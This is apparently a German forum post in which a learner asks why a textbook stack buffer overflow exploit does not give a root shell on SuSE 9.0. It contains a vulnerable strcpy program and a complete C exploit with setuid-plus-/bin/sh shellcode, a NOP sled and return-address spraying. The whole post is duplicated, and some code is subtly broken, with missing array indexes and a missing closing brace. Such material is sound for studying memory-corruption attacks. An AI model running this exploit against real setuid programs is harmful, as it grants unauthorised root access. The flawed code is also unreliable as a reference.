Ich habe einen Exploit für ein Beispielprogramm (aus einem Buch) und diese Exploit will einfach nich.
laut Buch ist die Ausgabe:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a#
bei mir:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978 <- hier bleibt er stecken
nutze Suse9.0
Hoffe mir kann jemand helfen!
bsp. progi (over.c):
int main (int argc, char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
exploit dazu:
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{__asm__("movl %esp, %eax");} // um den Stack Pointer zur?ck zu geben
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset=0;
esp=sp();
ret=esp-offset;
printf("Stach Pointer (ESP): 0x%x\n",esp);
printf("Offset from ESP: 0x%x\n",offset);
printf("Desired Return Addr: 0x%x\n",ret);
//600 bytes reservieren
buffer = malloc(600);
//Gesamten Buffer mit der gew?nschten ret-Adresse f?llen
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<600;i+=4)
{*(addr_ptr++)=ret;}
//Die ersten 200 Bytes des Buffer mit Nop-Anweisungen f?llen
for(i=0;i<200;i++)
{buffer='\x90';}
//Den Shellcode hinter Nop schreiben
ptr= buffer+200;
for(i=0;i<strlen(shellcode);i++)
{*(ptr++)=shellcode;}
//End the string
buffer[600-1]=0;
//Aufruf
execl("./over","over",buffer,0);
//Speicher freigeben
free(buffer);
return 0;
}
laut Buch ist die Ausgabe:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a#
bei mir:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978 <- hier bleibt er stecken
nutze Suse9.0
Hoffe mir kann jemand helfen!
bsp. progi (over.c):
int main (int argc, char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
exploit dazu:
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{__asm__("movl %esp, %eax");} // um den Stack Pointer zur?ck zu geben
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset=0;
esp=sp();
ret=esp-offset;
printf("Stach Pointer (ESP): 0x%x\n",esp);
printf("Offset from ESP: 0x%x\n",offset);
printf("Desired Return Addr: 0x%x\n",ret);
//600 bytes reservieren
buffer = malloc(600);
//Gesamten Buffer mit der gew?nschten ret-Adresse f?llen
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<600;i+=4)
{*(addr_ptr++)=ret;}
//Die ersten 200 Bytes des Buffer mit Nop-Anweisungen f?llen
for(i=0;i<200;i++)
{buffer='\x90';}
//Den Shellcode hinter Nop schreiben
ptr= buffer+200;
for(i=0;i<strlen(shellcode);i++)
{*(ptr++)=shellcode;}
//End the string
buffer[600-1]=0;
//Aufruf
execl("./over","over",buffer,0);
//Speicher freigeben
free(buffer);
return 0;
}